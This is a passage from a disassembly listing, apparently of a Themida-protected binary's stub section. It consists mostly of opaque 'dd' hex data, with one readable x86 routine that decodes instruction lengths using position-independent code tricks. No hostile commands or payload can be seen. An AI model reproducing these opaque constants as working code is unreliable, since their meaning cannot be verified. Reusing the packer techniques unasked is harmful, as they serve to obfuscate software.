80C516A5h, 0BE4F30C7h, 0F98972D1h, 0B28DFB12h, 0DD034261h dd 345FE894h, 0CE0810Bh, 411D26FCh, 0A5B9A11h, 0B1E8A67Ah dd 8FE900F5h, 355CE795h, 96C7800Ch, 87AD3059h, 0FCB88576h dd 0A235C7BCh, 1770107h, 0CAB79DCEh, 3D0676AEh, 0A49FEDD2h dd 1BE877h, 0AAE70000h, 0F43764DFh, 2172CDBBh, 0CB06DE02h dd 3D9175CEh, 0E16DF30Fh, 366AAD9Ah, 3D06779Eh, 8EB9C3E8h dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh dd 6EDDA2CFh, 0BC8BF03Dh, 3168696Fh, 89000001h, 8950242Ch dd 405E0h, 0E8830000h, 24048704h, 2404895Ch, 81E78957h dd 4C7h, 4EF8300h, 5C243C87h, 52243C89h, 279903BAh, 34815206h dd 7C632E24h, 2E355854h, 5A547C63h, 243C8B54h, 8104C483h dd 4ECh, 24048900h, 14242C81h, 8F32C07Bh, 47810847h, 0C07B1408h dd 2434FF32h, 4C4835Fh, 5724048Bh, 0C781E789h, 4, 8704C783h dd 0E95C243Ch, 0FFFAE3FFh, 0CB702CADh, 9E62B864h, 0C5030627h dd 0CC40E0FFh, 0AC552114h, 0BBA35AC6h, 6A280214h, 6DDC2242h dd 0B4F93EF7h, 0A8E1150h, 89AA7AF0h, 125865DFh, 0BE2C1FC6h dd 629D2BE2h, 70B3F2A0h, 340B06B4h, 715C7AC8h, 8485FC19h dd 8459815Ah, 0F0643324h, 4AAD1B4h, 896F1DB0h, 325433ECh dd 44BE3C18h, 5E9D3319h, 37266319h, 14673319h, 0BDEBF041h dd 0B5DD175Dh, 21E8175Dh, 74763319h, 31B9F049h, 0FC74E292h dd 5ECE331Ah, 378F6419h, 14B33319h, 0BD86F046h, 0B5E81765h dd 2E72175Dh, 733B3319h, 9FAEF04Eh, 0BA18BDB4h, 3476DBD0h dd 439E3319h, 0DDB943E2h, 24A641D5h, 41315F7Bh, 52496DD5h dd 6D74E7A0h, 34CE39F0h, 4261C519h, 0D62511EAh, 0B76366C8h dd 16CE3AA4h, 0B079331Fh, 343B3347h, 0DCCC3373h, 34CE331Ah dd 6DA46A39h, 30977F90h, 30FD7798h, 34EC330Ch, 0F0B56258h dd 3429DB42h, 7BD33319h, 0D7CB9ABBh, 8FE2F528h, 524AF758h dd 4D630A63h, 37D9DA40h, 341C3319h, 3438DB4Fh, 6ABD3319h dd 40476DDAh, 70E6373Dh, 34A4373Dh, 629F3319h, 0FC9FA1DAh dd 43CD8913h, 0B1B629A0h, 32BAAC2Bh, 0DC9F3373h, 3467331Ah dd 6D706A39h, 30FD7F90h, 30C87798h, 34763304h, 87F86258h dd 7A8E7815h, 40E5D95Ch, 32E03CF3h, 0B5B33319h, 0DF57DDD0h dd 648C635Ah, 3B17534Bh, 6E626528h, 6ACD6141h, 30475240h dd 0C3E6553Dh, 0B13EB28Ch, 32FEAC0Dh, 8C0EB27Fh, 0BF1063E0h dd 103FBAE1h, 0DCC83373h, 34CE331Ah, 69A46E39h, 30975F90h dd 30FD7798h, 34EC330Fh, 5EB5665Ch, 0B55D75C6h, 0CB1091C6h dd 16D8068Ch, 31E93C1Fh, 8BB33319h, 51F2E27Eh, 896FF392h dd 32543BC4h, 0B7324619h, 169712A4h, 2DBA331Fh, 0F4EC6049h dd 34B749A1h, 0D5CBA19h, 0B9EA1102h, 10C9FA84h, 6FE8CC1Fh dd 1520B041h, 34C81113h, 6737246Dh, 34B749A1h, 0D5CBA19h dd 0B9EA1102h dd 10CA8B84h, 6FE8CC1Fh, 3489DA41h, 7D973319h, 8148985Ch dd 0D590D914h, 0DBBE08BBh, 4405BFDEh, 0BF1095F7h, 5EFBB8EAh dd 37756119h, 14CE3319h, 0BD3DF043h, 0B5B7174Dh, 20DD175Dh dd 76EC3319h, 52B5F04Bh, 676818A3h, 774BB279h, 55911398h dd 28FABE46h, 5EB51486h, 37316319h, 14EC3319h, 0BD2EF041h dd 0B53F175Dh, 2D99175Dh, 74CE3319h, 75DF049h, 48D7FFE2h dd 3B2EE999h, 34EC3098h, 2BA8B319h, 0BEE8B694h, 0C21C353Eh dd 2CC1566Fh, 0BF68E3E6h, 34B33312h, 345E3C79h, 52EC3319h dd 3F17E392h, 18BF3CD9h, 529D3319h, 0AD77E492h, 0B965FF6Dh dd 16E38284h, 0E90A891Fh, 37546C41h, 3B763319h, 343B3190h dd 0CB76B919h, 3B9953FAh, 34673399h, 0B9D26C19h, 13461784h dd 0E769BE1Fh, 54701493h, 31E5B2E0h, 55C496F4h, 0C345E3E6h dd 0B068F312h, 34B33364h, 0DC8E3373h, 34EC331Ah, 6BB56C39h dd 301F4F90h, 30B97798h, 34CE3305h, 0A1A4645Eh, 6F7EA16Ch dd 6D1D92CDh, 37EEAEA7h, 85EBBE4Ch, 5E3D1149h, 37756219h dd 14CE3319h, 0BD3EF040h, 0B5B71755h, 2DDD175Dh, 75EC3319h dd 69E4F048h, 56B68169h, 0CFA7D498h, 357672B6h, 3B673319h dd 0D633E2A6h, 0DC3ACC08h, 34EC330Dh, 8C2BF962h, 5B960167h dd 79285C85h, 23B151Ah, 1E3FA561h, 1D2EBE43h, 0DCDF1486h dd 34EC3309h, 0F00002EAh, 2DB0692Dh, 91B3545Dh, 300C94F9h dd 62E28A7Fh, 0E736BE43h, 8EDF1493h, 37769B37h, 34763CF0h dd 4DDE2A19h, 0D487BBADh, 843B639Bh, 0F5FC1BCh, 0DE32E3E6h dd 23209168h, 0B0E3F312h, 3476336Ah, 0B9C0B87Fh, 16CD8284h dd 63CE591Fh, 346730F1h, 0F7EC1319h, 10A5BA46h, 10A8B21Dh dd 3476291Dh, 0F76C7419h, 8EC27F77h, 0DD2D88B6h, 34673312h dd 68704E3Ah, 0FF64B341h, 3B7ED2EAh, 34763591h, 5FD9B219h dd 8CDF1FD8h, 34CE331Ah, 0CBA98416h, 65B359FAh, 34D930F1h dd 0F7B51319h, 103ABA40h, 107FB21Dh, 349D2A1Dh, 0F79F7219h dd 605C0AE4h, 774ADAEEh, 34DDB916h, 8D8A3319h, 89FBCCC9h dd 321CAC0Bh, 97C7BE94h, 4976353Eh, 7ED7845h, 16B9469Ch dd 0F516181Fh, 84B931F0h, 1F134617h, 93E769BEh, 0E0547014h dd 0F431E5B2h, 0E655C496h, 0E98345E3h, 8BA4F305h, 82BAF9C0h dd 8B280210h, 8BF781C3h, 8B4D8C45h, 3810FC0h, 66000000h dd 0BD83CB8Bh, 62208DDh, 83097500h, 220A21BDh, 19740006h dd 0C08B5350h, 47AB8h, 59858900h, 8D06220Eh, 24C0309Dh dd 5BD3FF06h, 21BD8358h, 6220Ah, 53501774h, 47AB8h, 59858900h dd 8D06220Eh, 24BCD19Dh, 5BD3FF06h, 0D1816658h, 0BA660794h dd 0CE9DAEAh, 0F7000000h, 776A2ED2h, 4DFD8B5Eh, 8B8749BBh dd 1C8E9C0h, 88880000h, 7 dup(88880041h), 41h, 3 dup(0) dd 88000000h, 91C40000h, 11110000h, 11111111h, 99C91111h dd 88888888h, 8888h, 6000000h, 44440000h, 410000h, 11110000h dd 44441111h, 2994444h, 203C988h, 88880010h, 88880011h dd 11118888h, 16441111h, 0 dd 8800h, 88888800h, 0 dd 88880080h, 88888h, 88880000h, 88880808h, 8888h, 0 dd 88880000h, 88888888h, 88808888h, 3 dup(88888888h), 99998800h dd 888h, 44448800h, 44444444h, 88884444h, 88888888h, 80008888h dd 80000099h, 88888899h, 89008888h, 88888888h, 8999h, 88800000h dd 88888088h, 88888888h, 88888088h, 88808888h, 88888888h dd 2E260888h, 65643E36h, 0F2F06766h, 0F3h, 0FFFF0000h dd 16E6FFFFh, 16FA0040h, 40h, 0 dd 10000h, 14h dup(0) dd 80C30000h, 7577ED63h, 10000h, 11h dup(0) dd 53E90000h, 55000003h, 0E8h, 0ED815D00h, 627A5D1h, 1E85C760h dd 627A5h, 66000000h, 0A1663E81h, 0F850Fh, 85C70000h, 627A522h dd 6, 24E9h, 26858D00h, 500627A5h, 0A576858Dh, 56500627h dd 1DE8006Ah, 83000000h, 0FF2510C4h, 89000000h, 27A52285h dd 0B5036106h, 627A522h, 0A51E858Bh, 0C35D0627h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and byte ptr [ebp-5], 0 and byte ptr [ebp-6], 0 xor dl, dl and [ebp-1], dl cmp dword ptr [ebp+8], 0 jz loc_554EA1 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh mov byte ptr [ebp-2], 1 jmp loc_554EAD ; --------------------------------------------------------------------------- loc_554EA1: ; CODE XREF: Themida_:00554E8Aj and byte ptr [ebp-3], 0 and byte ptr [ebp-2], 0 mov byte ptr [ebp-4], 4 loc_554EAD: ; CODE XREF: Themida_:00554E9Cj push ebx push esi push edi loc_554EB0: ; CODE XREF: Themida_:00554F05j ; Themida_:00554F21j ... mov edi, [ebp+0Ch] mov esi, [ebp+10h] movzx ecx, dl inc dl mov al, [edi+ecx] mov [esi+ecx], al xor cl, cl loc_554EC3: ; CODE XREF: Themida_:00554EEAj movzx ebx, cl push ebp call $+5 pop ebp sub ebp, 627A688h lea ebp, [ebp+627A4FEh] add ebp, ebx cmp [ebp+0], al pop ebp jz loc_554EF0 inc cl cmp cl, 0Bh jb loc_554EC3 loc_554EF0: ; CODE XREF: Themida_:00554EDFj cmp cl, 0Bh jz loc_554F4D cmp al, 66h jnz loc_554F2E cmp byte ptr [ebp-5], 0 jnz loc_554EB0 cmp byte ptr [ebp-3], 0 mov byte ptr [ebp-5], 1 jnz loc_554F26 mov byte ptr [ebp-4], 2 mov byte ptr [ebp-3], 0FEh jmp loc_554EB0 ; --------------------------------------------------------------------------- loc_554F26: ; CODE XREF: Themida_:00554F13j and byte ptr [ebp-3], 0 mov byte ptr [ebp-4], 4 loc_554F2E: ; CODE XREF: Themida_:00554EFBj cmp al, 67h jnz loc_554EB0 cmp byte ptr [ebp-6], 0 jnz loc_554EB0 xor byte ptr [ebp-2], 1 mov byte ptr [ebp-6], 1 jmp loc_554EB0 ; --------------------------------------------------------------------------- loc_554F4D: ; CODE XREF: Themida_:00554EF3j mov ebx, [ebp+14h] mov cl, dl dec cl cmp al, 0Fh mov [ebx], cl jnz loc_554F79 movzx ecx, dl inc dl mov al, [edi+ecx] movzx edi, al shr edi, 1 mov [esi+ecx], al add edi, 80h jmp loc_554F7E ; --------------------------------------------------------------------------- loc_554F79: ; CODE XREF: Themida_:00554F58j movzx edi, al shr edi, 1 loc_554F7E: ; CODE XREF: Themida_:00554F74j push ebp call $+5 pop ebp sub ebp, 627A740h lea ebp, [ebp+627A3FEh] add ebp, edi mov bl, [ebp+0] pop ebp mov cl, al and cl, 1 mov [ebp-7], cl shl cl, 2 shr bl, cl test bl, 8 mov [ebp-6], bl jz loc_555100 mov ebx, [ebp+0Ch] mov byte ptr [ebp+0Bh], 1 movzx ecx, dl inc dl mov bl, [ebx+ecx] mov [ebp+17h], dl mov dl, bl mov [esi+ecx], bl and dl, 7 movzx ecx, bl cmp dl, 4 setz byte ptr [ebp-5] shr ecx, 6 sub ecx, 0 jz loc_555044 dec ecx jz loc_555027 dec ecx jnz loc_555097 cmp byte ptr [ebp-2], 0 jnz loc_555093 cmp byte ptr [ebp-5], 0 jz loc_555006 mov byte ptr [ebp+0Bh], 2 loc_555006: ; CODE XREF: Themida_:00554FFCj add byte ptr [ebp+0Bh], 4 push ebp call $+5 pop ebp sub ebp, 627A7CCh mov dword ptr [ebp+627A51Eh], 1 pop ebp jmp loc_555097 ; --------------------------------------------------------------------------- loc_555027: ; CODE XREF: Themida_:00554FE1j cmp byte ptr [ebp-2], 0 jnz loc_555071 cmp byte ptr [ebp-5], 0 jz loc_555071 mov byte ptr [ebp+0Bh], 2 jmp loc_555071 ; --------------------------------------------------------------------------- loc_555044: ; CODE XREF: Themida_:00554FDAj cmp byte ptr [ebp-2], 0 jnz loc_55508A cmp byte ptr [ebp-5], 0 jz loc_555079 movzx ecx, byte ptr [ebp+17h] mov edx, [ebp+0Ch] mov cl, [edx+ecx] and cl, 7 cmp cl, 5 jnz loc_555071 mov [ebp+0Bh], cl loc_555071: ; CODE XREF: Themida_:0055502Bj ; Themida_:00555035j ... inc byte ptr [ebp+0Bh] jmp loc_555097 ; --------------------------------------------------------------------------- loc_555079: ; CODE XREF: Themida_:00555052j cmp dl, 5 jnz loc_555097 mov [ebp+0Bh], dl jmp loc_555097 ; --------------------------------------------------------------------------- loc_55508A: ; CODE XREF: Themida_:00555048j cmp dl, 6 jnz loc_555097 loc_555093: ; CODE XREF: Themida_:00554FF2j mov byte ptr [ebp+0Bh], 3 loc_555097: ; CODE XREF: Themida_:00554FE8j ; Themida_:00555022j ... dec byte ptr [ebp+0Bh] jz loc_5550C5 movzx ecx, byte ptr [ebp+0Bh] mov [ebp+8], ecx loc_5550A7: ; CODE XREF: Themida_:005550BDj movzx esi, byte ptr [ebp+17h] mov ecx, [ebp+0Ch] mov edx, [ebp+10h] inc byte ptr [ebp+17h] dec dword ptr [ebp+8] mov cl, [ecx+esi] mov [edx+esi], cl jnz loc_5550A7 mov esi, edx loc_5550C5: ; CODE XREF: Themida_:0055509Aj and al, 0FEh cmp al, 0F6h jnz loc_5550FA cmp edi, 7Fh ja loc_5550FA test bl, 38h jnz loc_5550FA cmp byte ptr [ebp-7], 0 jz loc_5550F4 movzx eax, byte ptr [ebp-4] jmp loc_5550F7 ; --------------------------------------------------------------------------- loc_5550F4: ; CODE XREF: Themida_:005550E5j push 1 pop eax loc_5550F7: ; CODE XREF: Themida_:005550EFj mov [ebp-1], al loc_5550FA: ; CODE XREF: Themida_:005550C9j ; Themida_:005550D2j ... mov dl, [ebp+17h] mov bl, [ebp-6] loc_555100: ; CODE XREF: Themida_:00554FAAj mov al, bl and eax, 7 sub eax, 4 jz loc_55512B dec eax dec eax jz loc_555121 and bl, 7 add [ebp-1], bl jmp loc_555133 ; --------------------------------------------------------------------------- loc_555121: ; CODE XREF: Themida_:00555110j mov al, [ebp-3] add al, 6 jmp loc_555130 ; --------------------------------------------------------------------------- loc_55512B: ; CODE XREF: Themida_:00555108j mov al, [ebp-3] add al, 4 loc_555130: ; CODE XREF: Themida_:00555126j add [ebp-1], al loc_555133: ; CODE XREF: Themida_:0055511Cj mov al, [ebp-1] dec byte ptr [ebp-1] test al, al jz loc_55515B movzx ecx, byte ptr [ebp-1] inc ecx loc_555146: ; CODE XREF: Themida_:00555155j mov edi, [ebp+0Ch] movzx eax, dl inc dl dec ecx mov bl, [edi+eax] mov [esi+eax], bl jnz loc_555146 loc_55515B: ; CODE XREF: Themida_:0055513Bj pop edi pop esi mov al, dl pop ebx leave retn ; --------------------------------------------------------------------------- dw 858Dh dd 627A5CBh, 0F6D8589h, 8E80622h, 0F2000000h, 5C5053E6h dd 0FC39BF57h, 28C0F5Bh, 8B000000h, 69C381FBh, 0E9000075h dd 5, 71325AE5h, 0B9C02BEFh, 2C62AA81h, 0F1834FFh, 80h dd 0FE8B5A00h, 10A9F281h, 0EA810A8Dh, 5B571F8Bh, 1553D6B9h dd 46C2814Fh, 890ECFBCh, 0E9FC0314h, 8, 14F31061h, 0E985DCF4h dd 8E4FE881h, 0C0811B6Ch, 1B6C8E4Bh, 4810Fh, 0B9660000h dd 0F8814EC5h, 0FFFF8B2Ch, 0FFAA850Fh, 0EE8FFFFh, 0F0000000h dd 2EBBCCC0h, 0FB5C94B1h, 622C37A7h, 0F6E781F0h, 5E285623h dd 37E9h, 85B8B700h, 67h, 0C51C5700h, 6148434Ah, 0A5ADF936h dd 528C88A7h, 0B7FB75h, 0ADF99CBEh, 89937EE5h, 0F4C7009Dh dd 6063921Dh, 0DE19h, 2 dup(0) dd 0A96E9h, 0AB126800h, 0D0E90627h, 68FFFAD8h, 627AC15h dd 0FAD8C6E9h, 0AD0568FFh, 0BCE90627h, 68FFFAD8h, 627ADDEh dd 0FAD8B2E9h, 0AE8068FFh, 0A8E90627h, 68FFFAD8h, 627AF68h dd 0FAD89EE9h, 0B03768FFh, 94E90627h, 68FFFAD8h, 627B1F8h dd 0FAD88AE9h, 0B30A68FFh, 80E90627h, 14FFFAD8h, 8AB7DE69h dd 0E62B4201h, 5E43AA99h, 0C8F9102Bh, 186E79C6h, 0D06F1F58h dd 450288B9h, 0A893E52Ah, 132C5041h, 0B46871F8h, 411D9164h dd 5F5DC589h, 0C21E2D52h, 7394DB88h, 1BA263B9h, 22477649h dd 7B9CA7D5h, 0A1F2513Eh, 24355E82h, 911D2DFFh, 0BDF0411Dh dd 7325A67h, 5A99CA75h, 0D98ACA1Bh, 0B8BF6D8Ah, 5D4F3C08h dd 0C7D4395Eh, 9C4596B1h, 49042AE8h, 0D00C4F7Dh, 0AE7EE3A9h dd 4B75BD9Ah, 92FD3C7Fh, 3764DFADh, 0EB3FEDD2h, 0E4B75BDh dd 6C6771AFh, 2D2AC227h, 0FA4557C3h, 2C70CBBDh, 0D30C6F5h dd 50E96C57h, 8E7F847h, 18650000h, 0B0DBC42Fh, 48377893h dd 0DAAF90FBh, 75190661h, 0A94BBFD6h, 0C6211E60h, 7B92B1D9h dd 0EEF94236h, 960DBA1h, 0D7E3B9DEh, 3A411D90h, 5778C94h dd 0B8C4E93Ah, 5F14648Fh, 0CE25F710h, 0DF491843h, 0A9FD8FDCh dd 57411832h, 463B4EAAh, 934BD1CFh, 3Ah, 64AB58BBh, 0B4A44203h dd 3D81458Ch, 83A2F34Ch, 98FD1C40h, 0F55EE9Bh, 18CB0A7Dh dd 9BC8E349h, 18AFA5C9h, 39765B41h, 86A5F655h, 7699DF5Ah dd 4BD147FBh, 0ADDEh, 5774400h, 3B78801Ch, 1E9D473Ah, 1D618EDFh dd 0CCB0FD2Eh, 0F332117Dh, 44FF8DA2h, 9DA6D623h, 0ECF72D48h dd 3A38173Ch, 0BB840847h, 221D6F50h, 93E093F1h, 54ADA676h dd 0FBB24918h, 0AAD38090h, 181BA6F2h, 21604B41h, 8CCB54C8h dd 0F9B44F3Ch, 5CEB93E0h, 2DFF2435h, 4B7CDB1Dh, 6CC0BDF0h dd 33584833h, 1F6F8AD6h, 0B6695620h, 0BBF4EF97h, 7E4A4h dd 201B6200h, 94B3D8C9h, 0FC4B347Dh, 62DDAC95h, 0CB78060Bh dd 6DA646A0h, 0C6CB2221h, 337C97B4h, 0AE93FA45h, 0C30A65DEh dd 97D2E6B6h, 9347411Dh, 38077793h, 0A39CE0D1h, 0AB58D248h dd 65DE0364h, 84DDA71Fh, 0FA8CD010h, 49185989h, 76065766h dd 41181926h, 0B0D711D8h, 4BD1B9BDh, 89B2C7D4h, 5AFB1944h dd 0D8h, 3A0577C0h, 37BAC4E9h, 0A9433359h, 0ADFE31CBh dd 3A6E301Fh, 9CA7D547h, 7404C75h, 76BDB6D6h, 0A709B11h dd 0DEDD4918h, 61AEA5B7h, 0A6D62308h, 29A5479Dh, 344F3CDAh dd 28FE06C3h, 68E91Ch, 4A453EADh, 6E8BCA8Dh, 6632409h dd 4510E8ADh, 0F44A9E4Eh, 0ABEB4B7Dh, 968F5570h, 3D634AF7h dd 52BD8AF4h, 3B35FC45h, 0FF63B765h, 27964B7Dh, 4921ED5Eh dd 88ABF843h, 0A0EE0B49h, 0C8DED7A3h, 2A7BEF96h, 6F4D7h dd 300B7200h, 0A4A3E8D9h, 0C3B444Dh, 72CDBCE5h, 0DB68161Bh dd 7DB6B6B0h, 0D6DB3211h, 434CA7A4h, 0BEE30A35h, 0D31A75CEh dd 96C21686h, 6337411Dh, 38077783h, 0BDCBC8D1h, 1243FC8Ch dd 9A4390D3h, 72EFE077h, 226FAEBAh, 77B2EE5Dh, 7BD33A05h dd 944E65Fh, 29838F34h, 67B493F8h, 0ABD11844h, 0BD064390h dd 9C8186ABh, 357CA0BFh, 0B18AF247h, 0F1300F70h, 0D1F9B398h dd 44473A7Ch, 78282B69h, 473A7C54h, 0C1266D66h, 297AC5B4h dd 0EB3FED0Ah, 0E473A7Ch, 8C6071AFh, 491BE590h, 0DCD93E7Dh dd 337C97B0h, 3444D849h, 0D9411DCBh, 117693D2h, 1DCB4F9Bh dd 0D50BA241h, 0BE6E53B0h, 411DCB6Ah, 0E6F02C8Fh, 0AB41A6EDh dd 4F3FBF90h, 67483E7Dh, 0F6EF93E7h, 61B5AA5h, 0E4A90000h dd 7C0F305Bh, 147BA4CFh, 0A6D3DC37h, 414D729Dh, 0DD9FEB02h dd 325DEA94h, 0A7CE7D0Dh, 0DA350E7Ah, 759CA7D5h, 0EB3FED8Ah dd 0E411D96h, 577D848h, 0B8C4E93Ah, 1E1B5E8Fh, 7325ADAh dd 5A99CA75h, 82E7F01Bh, 3A3BDEEAh, 24783347h, 0F3DB7DF0h dd 0E5851h, 3E7B0000h, 80A3F04Bh, 6AA5805Ch, 89000001h dd 3A3BC4E8h, 0B6FDF647h, 0A254DB51h, 7239491Bh, 0CB741815h dd 2A1961AEh, 8F8CEDF6h, 0DC1F4CFBh, 28137980h, 0A5EA99FBh dd 0E58FA844h, 3D704F3Fh, 942D604Dh, 4DDCEDEFh, 579h, 52BD86F7h dd 0C6211E6Dh, 7E89B6D9h, 94FF4831h, 0D64E3ABh, 8CF23B3Dh dd 1F6B54BFh, 0B0D8C920h, 49337C97h, 0B6C97FEh, 1D954991h dd 3EE6AC41h, 0E93A0577h, 5E8FB8C4h, 5ADA1E1Bh, 17F00932h dd 0AA0AE9D0h, 137CA08Ch, 0F3C78EC3h, 72B51h, 0A5F30000h dd 0D5h, 64AB5889h, 0ADD1DE03h, 62B8429Eh, 77491BA2h, 0A6D62344h dd 9C65729Dh, 0A6C5AEA9h, 3E239469h, 24037805h, 0D2BAC71Dh dd 2BD82469h, 67683E4h, 97CDE83Dh, 8E4DAA42h, 6B424F3Ch dd 7A7B010Eh, 3EEE0CB2h, 4B742CEAh, 15D7AC0Fh, 66807DB6h dd 107BD2EAh, 7247AEE1h, 0ABE95625h, 1045FE8Eh, 57B0FFF4h dd 0CE12315Ah, 0DEFA118Bh, 5E5B4556h, 0D06B1D30h, 0FC216083h dd 2172CDBFh, 0FE8EC302h, 92D51045h, 6D41AFE4h, 0E27D4EE9h dd 491h, 0BAD56E1Fh, 2E390675h, 46A19EE1h, 0FC173059h dd 157CCBB3h, 741A5315h, 773BCD7h, 98E0D138h, 315B44AFh dd 6374FF16h, 1D946189h, 26FE9441h, 1C27525Fh, 1246BC0h dd 1660000h, 3A3B5F6Bh, 0A5FBB247h, 64AB5809h, 3A4EDE03h dd 2F473A3Bh, 5A51EE59h, 15EED306h, 0C336E0A8h, 69336136h dd 491B9DB3h, 721C197Eh, 0B36580D5h, 411DD267h, 7A2052CEh dd 0D56AF750h, 93EFDF5Ch, 0B7F67202h, 9CFDB069h, 3B52ED9Fh dd 68BD86F6h, 0CF28776Ch, 5D8EBDC2h, 8C5B70A4h, 0A9E828FEh dd 0B1B6666Bh, 664F3C93h, 97E53257h, 3A4E4BACh, 4391DC01h dd 0D26D1F00h, 4D904381h, 0A7C0033Ch, 569F96F5h, 42348745h dd 0E96D02C3h, 0C2829DAEh, 40000003h, 0A6EB023Dh, 121F76D5h dd 8AB7DE6Dh, 0E42D44FFh, 6442AD9Ah, 4434B84h, 69D6A4EDh dd 0DC67111Eh, 47008CB5h, 0D854252Ch, 411D8BB0h, 7771B165h dd 0C4E93A05h, 1B5E8FB8h, 325ADA1Eh, 215CFE09h, 7851F3DCh dd 0A1F24D3Bh, 3FF75E82h, 5F000000h, 364AB58h, 154165DEh dd 0BD4C1F3Fh, 0EC3073CCh, 18DDB95Ah, 0C2279649h, 127DCAB5h dd 191C61B2h, 32595641h, 0DAA2CF15h, 76190661h, 3E8584C9h dd 0D4000003h, 1CED3DEFh, 0AD004119h, 177DF77h, 0A3F01546h dd 5B216ED9h, 775BCE0h, 0ADDEDB3Ch, 0F22E4D9Eh, 63DCA091h dd 3CF0D532h, 473A3BECh, 4B76AA01h, 94E10641h, 87A358E7h dd 0D07AE929h, 14656EB2h, 0AFC87707h, 3A63ADFDh, 376D4047h dd 9CEF2E25h, 910B6CAFh, 49181B92h, 29FB2883h, 41185A05h dd 0D7FA7EFBh, 4BD1769Ah, 2A3Fh, 0AB58E700h, 66690364h dd 0D7491841h, 67683E4h, 0B5C3E83Dh, 0F0154B8Ah, 18311024h dd 563EE41h, 0D1D18FC2h, 0EB2A4Bh, 77F00000h, 0C4E93A05h dd 13588DBAh, 488DDE69h, 1D2127FFh, 3A977B8Fh, 661F9E47h dd 86DA2598h, 0DF36117Bh, 3A96C64Dh, 0EA552747h, 55EE9E83h dd 0C00FC400h, 463542A7h, 0C789D4F9h, 473A89B3h, 711A5766h dd 3E6281D2h, 8F6641DBh, 8A374918h, 0EB0245FEh, 7495DA89h dd 0BAEB5827h, 7834257Bh, 4F3CBB64h, 82BDCCE9h, 8A111CF9h dd 53925398h, 65834D36h, 0CB3347D5h, 0D7E64B7Dh, 4E25942Eh dd 0CCB2FF12h, 0AE8B0E71h, 33E110D8h, 224D8CCFh, 0A4BE6CD5h dd 20C9852h, 5CEB93DEh, 96DDE1AAh, 0DC237CEFh, 201h, 2A45FE8Fh dd 5EA996E5h, 0F6112E51h dd 6C87C0C9h, 85EC5B23h, 48AC3A5h, 97E32C47h, 285041A8h dd 0C1CBF41Fh, 93E46F86h, 1D8AF119h, 0B66E2441h, 0D1380777h dd 0DFAD9CE0h, 0B5F43764h, 4E307D5Ah, 5381ACF1h, 6AAB5883h dd 9EEA2724h, 0F23570A5h, 41D40795h, 0C8394918h, 0A3A83D9Ch dd 0C91A5D9Bh, 189DEB3Bh, 77841541h, 7443702h, 0AF5497C4h dd 4565B023h, 0D653816Ch, 0E8027F92h, 0D2D74BD0h, 7F000000h dd 0E93A0577h, 588DBAC4h, 3A38878Ch, 0B16B5047h, 473A3F69h dd 0B6F3218Ch, 3F0C73C6h, 658CCFEEh, 97E22F14h, 6C3C7FACh dd 473A3F5Ch, 2DDF6FF5h, 6BD44C20h, 0A7D51C40h, 6DD6E2BAh dd 703B473Ah, 0B0DBD831h, 0DC384D93h, 0EDBFD827h, 49186B82h dd 16354653h, 355C5FCAh, 86E33023h, 14390689h, 9A42F873h dd 57968FB4h, 22E3C809h, 0E4C9ADA9h, 62045835h, 4F3C6F81h dd 0CDCA2F8Eh, 266B82C1h, 6A1FEB58h, 0F7EF9676h, 0EF5BA6h dd 107D0000h, 0A8D3DC37h, 404F709Bh, 0D2A7E803h, 6D111E69h dd 0B1B3B7DEh, 0DE291678h, 739AA9D1h, 0E6013A4Eh, 168D3B9h dd 0DFEB81D6h, 32411D88h, 7A5F849Ch, 3A3B96A2h, 0EC307B47h dd 638AB9C5h, 9AF54E3Eh, 3A057700h, 9FA8D0DDh, 0D2DF2441h dd 2D489DA6h, 77C2CAF7h, 0C7538108h, 0EBD7A3E1h, 3E1E69A8h dd 2899FE45h, 7B86E782h, 365B7944h, 8DBAC4D1h, 0EFAEB557h dd 8A87491Bh, 3F4C01h, 0C5190D3h, 3786B3E1h, 78C3C9E6h dd 56623A1Fh, 0BB411DCDh, 7EA3ACF0h, 54E0350Eh, 21BFC979h dd 0A4A8C029h, 0C51B2857h, 1279D0BCh, 969BF235h, 0E3085DE6h dd 0D478AD96h, 2369CB2Dh, 395A6E3Eh, 0FCBF20F0h, 1F6D52BDh dd 395E6A02h, 0F8B320F0h, 0A17BA0B9h, 20F03999h, 88F0317Ch dd 3F4461BFh, 393642DAh, 0D0DB20F0h, 3B78Ch, 0CB9F0000h dd 3D067773h, 8EB9C3E8h, 0DF68105Dh, 2A19618Eh, 7DCAB4F9h dd 0CC7B0328h, 1C27529Fh, 6EDDA2CFh, 0BC8BF03Dh, 7168696Fh dd 89000040h, 0BF682414h, 89000028h, 5068243Ch, 89000044h dd 68512434h, 40C94E1Ch, 83240C8Bh, 494904C4h, 731DC181h dd 0F1811337h, 52276B54h, 8359CF89h, 248904ECh, 24048124h dd 4, 4EC815Eh, 89000000h, 0FD89242Ch, 5D086E89h, 5E2434FFh dd 4C481h, 3C8B0000h, 0E7895724h, 4C781h, 0C7830000h, 243C8704h dd 0CE51E95Ch, 7490FFFAh, 0CC330579h, 0F17AEEBCh, 0B88D2191h dd 627B41Eh, 0E0FFC503h, 23C3C77h, 32C1D4EAh, 46D0D265h dd 61FA531Bh, 4B028D27h, 5C28A8E6h, 0F1395BEh, 5B26FC4Fh dd 550DD412h, 2DE9h, 0C56E6600h, 34h, 9 dup(0) dd 82E90000h, 6800000Ch, 627B65Ah, 0FB9974E9h, 0B76068FFh dd 6AE90627h, 68FFFB99h, 627B940h, 0FB9960E9h, 0BA7868FFh dd 56E90627h, 68FFFB99h, 627BD3Bh, 0FB994CE9h, 0BEC868FFh dd 42E90627h, 68FFFB99h, 627BFF5h, 0FB9938E9h, 58A1EEFFh dd 6C71BF82h, 0B44143DEh, 0FF0A0B16h, 0DCCD22Fh, 4C539C79h dd 1EE3BB42h, 2439CD14h, 0E97416DFh, 0FD8125A8h, 1351646Dh dd 79D1CD63h, 0CC191CE1h, 0E65BFB50h, 99975AA7h, 6E3CC1C0h dd 0E59C3CE5h, 1CCD499h, 1DD23C0Bh, 53AB46B2h, 0AC31F83Ah dd 37ED38D9h, 0AC3287AEh, 1DA7F8D9h, 0D1AD249Ah, 29ED0Eh dd 0D1740000h, 0E2EB7370h, 0D9ACD1F4h, 0DAF04F03h, 0A5FB70A0h dd 0D543DE79h, 0ACDCE9C8h, 7F055AD9h, 0D106C2F8h, 0CF030Eh dd 0AA960000h, 0C7A8B3DAh, 0E68D38Ah, 40987BC6h, 0F45EF559h dd 71D51819h, 0FECDE8E1h, 